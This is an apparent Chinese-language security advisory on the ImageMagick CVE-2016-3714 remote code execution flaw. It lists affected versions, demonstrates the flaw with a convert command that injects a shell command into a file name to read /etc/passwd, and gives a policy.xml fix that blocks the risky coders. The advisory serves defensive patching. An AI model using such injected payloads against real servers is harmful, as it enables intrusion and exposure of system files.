ImageMagick 注入漏洞 (CVE-2016-3714)
2016-05-05 by dongnan
漏洞描述
ImageMagick
是一款广泛流行的图像处理软件。近日该软件被爆出存在远程代码执行漏洞,编号为CVE-2016–3714
。
此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。由于 ImageMagick
应用十分广泛,目前已确定 Wordpress
等知名应用受此漏洞影响。
漏洞范围
受漏洞影响的版本 ImageMagick <= 6.9.3-9
php模块
php -m | grep imagick
imagick
详细信息
php -i | grep -i "imagick"
#....省略
Imagick compiled with ImageMagick version => ImageMagick 6.7.2-7 2015-07-23 Q16 http://www.imagemagick.org
漏洞展示
# 执行命令
convert 'https://example.com"|head -n3 /etc/passwd"' out.png
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
convert: no decode delegate for this image format `/tmp/magick-I9qDSJxL' @ error/constitute.c/ReadImage/566.
convert: missing an image filename `out.png' @ error/convert.c/ConvertImageCommand/3015.
解决方法
使用policy file
来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml
,我们通过配置如下的xml来禁止解析https
等敏感操作。
编辑配置文件
# 执行命令
vim /etc/ImageMagick/policy.xml
添加字段
<policymap>
<!-- 2016-05-05 20:20 /> -->
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>
验证
# 执行命令
convert 'https://example.com"|head -n3 /etc/passwd"' out.png
convert: not authorized `//example.com"|head -n3 /etc/passwd"' @ error/constitute.c/ReadImage/453.
convert: missing an image filename `out.png' @ error/convert.c/ConvertImageCommand/3015.